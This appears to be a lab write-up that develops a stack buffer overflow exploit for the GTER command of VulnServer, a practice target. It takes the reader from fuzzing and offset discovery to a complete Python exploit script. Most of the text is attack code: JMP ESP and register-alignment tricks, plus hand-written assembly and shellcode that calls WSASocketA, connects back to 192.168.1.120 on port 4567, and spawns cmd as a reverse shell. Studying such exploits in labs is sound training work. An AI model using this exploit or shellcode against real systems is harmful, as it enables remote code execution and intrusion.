VulnServer: developing an exploit for GTER
We can fuzz the command with spike
using the following template:
s_readline();
s_string("GTER ");
s_string_variable("COMMAND");
The application will crash quickly. We can reproduce the crash with the following PoC script:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send("GTER /.:/" + "A" * 5000 + "\n")
s.close()
We can see the state of the memory after the crash:
We can see that we override EIP and our buffer is somewhere in memory. In order to get a better understanding of the crash, we will send a unique string generated with msf-pattern_create
.
Our script will look like the following:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
unique = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
s.send("GTER /.:/" + unique + "\n")
s.close()
And once the application crashes, we can use !mona findmsp
to find the offsets:
EIP is at 147, followed by ESP and 20 bytes of buffer. Before EIP there are 147 bytes of available payload.
First of all we find a JMP ESP
, we can easily use the 20 bytes of buffer in ESP to jump back at the beginning of our buffer.
We can jump to this memory location: 0x625011d3. It’s a good memory location, as essfunc.dll
isn’t compiled with any kind of memory protection. Our script will look as follows:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# EIP offset at 147
# 0x625011d3 : "jmp esp" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload = "A" * 147
payload += "\xd3\x11\x50\x62"
payload += "C" * (1000 - len(payload))
s.send("GTER /.:/" + payload + "\n")
s.close()
We check that we are actually able to override EIP and reach our breakpoint at 0x625011d3
:
We can use some relative jumps to gain space, but since EAX is pointing at the beginning of our buffer, we can simply align EAX with our payload and jump there. We can use msf-nasm_shell
to find the opcodes we need:
#nasm > add eax, 9
00000000 83C009 add eax,byte +0x9
#nasm > jmp eax
00000000 FFE0 jmp eax
We can add these instructions at the ESP offset, so just after our EIP override. Our script will look like follows:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# EIP offset at 147
# 0x625011d3 : "jmp esp" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload = "A" * 147
payload += "\xd3\x11\x50\x62"
#nasm > add eax, 9
#00000000 83C009 add eax,byte +0x9
#nasm > jmp eax
#00000000 FFE0 jmp eax
payload += "\x83\xC0\x09\xFF\xE0"
payload += "C" * (1000 - len(payload))
s.send("GTER /.:/" + payload + "\n")
s.close()
We can set a breakpoint before the jump and follow the execution till it reaches our buffer of As:
Now we have 147 bytes of available buffer to write our payload. 147 is unfortunately not enough for a reverse shell generated by msfvenom
, which is usually around 350 bytes long.
But luckily, we don’t need the whole payload. A standard reverse shell payload will execute the following instructions:
- LoadLibraryA: loads the
ws2_32
library. - WSAStartup: initializes the
ws2_32
library. - WSASocketA: creates the socket.
- connect: connects the socket.
- CreateProcessA: spawns a
cmd
and redirects its IO channels to the socket. - Exit.
This operations are all needed for a functional shell. But in our case, we can skip some of them.
For example, we don’t really care about exiting the program properly, after all we have only 147 bytes and getting our shell is more important.
Also, VulnServer is already using sockets. This means that the ws2_32
library is already loaded and initialized.
This means that we have 147 bytes to squeeze only these three functions: WSASocketA, connect and CreateProcessA.
The first step we have to do, is to find the addresses of this functions in memory. We can do so with a tool called arwin
.
From arwin output, we can see the addresses of our - functions:
- CreateProcessA is at 0x7c802367
- WSASocketA is at 0x71a38769
- connect is at 0x71a3406a
The first thing we have to do, is to create our socket. We can look for the documentation of the WSASocketA
function on microsoft.com:
https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa
It needs the following parameters:
SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
This are the value we have to pass:
WSASocketA(
2, // AF_INET
1, // SOCK_STREAM
6, // IPPROTO_TCP
NULL,
0,
0
);
Notice that we have to push our values into the stack starting from the last. Our assembly code to create the socket will look like this:
[BITS 32]
global _start
_start:
xor eax, eax ; clear EAX
push eax ; dwFlags - 0
push eax ; Group - 0
push eax ; ProtocolInfo - NULL
xor ebx, ebx ; clear EBX
mov bl, 6 ; EBX = 6
push ebx ; Protocol - IPPROTO_TCP = 6
inc eax ; EAX = 1
push eax ; Type - SOCK_STREAM = 1
inc eax ; EAX = 2
push eax ; Family - AF_INET = 2
mov ebx, 0x71a38769 ; WSASocketA - WinXP PRO SP2
xor eax, eax ; clear EAX
call ebx ; Call WSASocketA
xchg eax, esi ; save socket (returned to EAX) into ESI
We can compile this assembly code with nasm
and paste it to our exploit.
Note: I wrote a script to convert binary files into strings ready to be pasted into our exploits, you can find it here.
Now that we have a socket, we have to connect it back to our machine. The connect
function documentation is available on microsoft.com here.
These are the parameters it needs:
int WSAAPI connect(
SOCKET s,
const sockaddr *name,
int namelen
);
After WSASocketA
, we saved our socket in ESI, so the first parameter will be taken from there.
For the second parameter, we will push a sockaddr structure onto the stack and the third parameter is the length of our sockaddr structure, which will be 16.
Our assembly code for the connect will look like this:
[BITS 32]
global _start
_start:
push 0x7801a8c0 ; c0.a8.01.78 (0xc0a80178) 192.168.1.120
push word 0xd711 ; port 4567
xor ebx, ebx ; clear ebx
add bl, 2 ; add ebx 2
push word bx
mov edx, esp ; pointer for SockAddr
push byte 16 ; AddrLen - 16
push edx ; pSockAddr
push esi ; saved socket
mov ebx, 0x71a3406a ; connect - WinXP PRO SP2
call ebx
Notice that both the IP address and the port, must be spelled reverse.
If we add this two part of the payload to our script, we can follow the execution until it reaches our payload:
What is interesting to notice here, is that ESP still points at our aligning instructions, so if we execute our code now, as soon as we start to push stuffs onto the stack our shellcode will be override.
We can try by placing a breakpoint just after the execution of our payload. What we will see is that we will get a connection back:
But we won’t reach our breakpoint, the application will crash on some trash instruction.
In order to avoid this, we have to move ESP before our shellcode (or far enough), so that we won’t override our shellcode.
In ESP we put some code to realign EAX with our payload, it won’t be hard to first store the EAX value into ESP:
#nasm > mov esp,eax
00000000 89C4 mov esp,eax
We can add this extra instruction to our script, which will now look as follows:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# EIP offset at 147
# 0x625011d3 : "jmp esp" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
# WSASocketA (2, 1, 6, 0, 0, 0)
payload = "\x31\xc0\x50\x50\x50\x31\xdb\xb3\x06\x53\x40\x50\x40\x50\xbb\x69\x87\xa3\x71\x31\xc0\xff\xd3\x96"
# connect
payload += "\x68\xc0\xa8\x01\x78\x66\x68\x11\xd7\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x56\xbb\x6a\x40\xa3\x71\xff\xd3"
payload += "A" * (147 - len(payload))
payload += "\xd3\x11\x50\x62"
#nasm > mov esp,eax
#00000000 89C4 mov esp,eax
#nasm > add eax, 9
#00000000 83C009 add eax,byte +0x9
#nasm > jmp eax
#00000000 FFE0 jmp eax
payload += "\x89\xC4\x83\xC0\x09\xFF\xE0"
payload += "C" * (1000 - len(payload))
s.send("GTER /.:/" + payload + "\n")
s.close()
If we follow the execution now, we see that the value of ESP now points at the beginning of our buffer:
And if we set a breakpoint just at the end of our payload, we can correctly reach it and the code has not been altered:
So now we have to spawn our shell. At last, we need to deal with CreateProcessA
. Documentation is available here.
These are the needed parameters for CreateProcessA
:
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
Most of these value will be NULL. The most importants for us are the pointer to StartupInfo
, which will contain information about IO channels, and CommandLine
, which will contains a pointer to a string with our command.
The pointer to cmd
command will be saved as follows:
;--- Setup our pointer to cmd
mov edx, 0x646d6363 ; cmdd
shr edx, 8 ; cmd, we need the shift to not send null bytes
push edx ; save the value to the stack
mov ecx, esp ; store it in ECX
Please note that we can’t store the name cmd
directly, as it’s shorter than 4 bytes and we would have to use a null byte.
The ProcessInformation
pointer can point to garbage. We don’t need it.
;--- Pointer to ProcessInfo
sub esp, 16 ; point ESP to garbage
mov ebx, esp ; save pointer to garbage in EBX
And finally we can create our StartupInfo
structure, which is documented here.
Luckily for us, most of its values will be null. We only will take care of storing a pointer to our socket for the IO channels.
Our final assembly code for the CreateProcessA
will be as follows:
[BITS 32]
global _start
_start:
;--- Setup our pointer to cmd
mov edx, 0x646d6363 ; cmdd
shr edx, 8 ; cmd, we need the shift to not send null bytes
push edx ; save the value to the stack
mov ecx, esp ; store it in ECX
;--- Pointer to ProcessInfo
sub esp, 16 ; point ESP to garbage
mov ebx, esp ; save pointer to garbage in EBX
;--- Pointer to StartUpInfo
push esi ; hStdError - saved socket
push esi ; hStdOutput - saved socket
push esi ; hStdInput -saved socket
xor edx, edx ; clear edx
push edx ; pReserved2 - NULL
push edx ; cbReserved2 -NULL
xor eax, eax ; clear eax
inc eax
rol eax, 8
push eax ; dwFlags - STARTF_USESTDHANDLES 0x00000100
push edx ; dwFillAttribute - NULL
push edx ; dwYCountChars - NULL
push edx ; dwXCountChars - NULL
push edx ; dwYSize - NULL
push edx ; dwXSize - NULL
push edx ; dwY - NULL
push edx ; dwX - NULL
push edx ; pTitle - NULL
push edx ; pDesktop - NULL
push edx ; pReserved - NULL
xor eax, eax ; clear eax
add al, 44
push eax ; cb - size of structure
mov eax, esp ; pStartupInfo
;--- CreateProcessA
push ebx ; pProcessInfo
push eax ; pStartupInfo
push edx ; CurrentDirectory - NULL
push edx ; pEnvironment - NULL
push edx ; CreationFlags - 0
xor eax, eax
inc eax
push eax ; InheritHandles -TRUE - 1
push edx ; pThreadAttributes -NULL
push edx ; pProcessAttributes - NULL
push ecx ; pCommandLine - pointer to "cmd"
push edx ; ApplicationName - NULL
mov ebx, 0x7c802367 ; CreateProcessA - WinXP PRO SP2
call ebx
We can compile this code and add the resulting binary string into our script. We can now run it against the target machine and obtain our shell. This will be our final script:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# EIP offset at 147
# 0x625011d3 : "jmp esp" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
# WSASocketA (2, 1, 6, 0, 0, 0)
payload = "\x31\xc0\x50\x50\x50\x31\xdb\xb3\x06\x53\x40\x50\x40\x50\xbb\x69\x87\xa3\x71\x31\xc0\xff\xd3\x96"
# connect
payload += "\x68\xc0\xa8\x01\x78\x66\x68\x11\xd7\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x56\xbb\x6a\x40\xa3\x71\xff\xd3"
# CreateProcessA cmd
payload += "\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x83\xec\x10\x89\xe3\x56\x56\x56\x31\xd2\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xbb\x67\x23\x80\x7c\xff\xd3"
print(len(payload))
payload += "A" * (147 - len(payload))
payload += "\xd3\x11\x50\x62"
#nasm > mov esp,eax
#00000000 89C4 mov esp,eax
#nasm > add eax, 9
#00000000 83C009 add eax,byte +0x9
#nasm > jmp eax
#00000000 FFE0 jmp eax
payload += "\x89\xC4\x83\xC0\x09\xFF\xE0"
payload += "C" * (1000 - len(payload))
s.send("GTER /.:/" + payload + "\n")
s.close()
Our payload is now only 120 bytes long.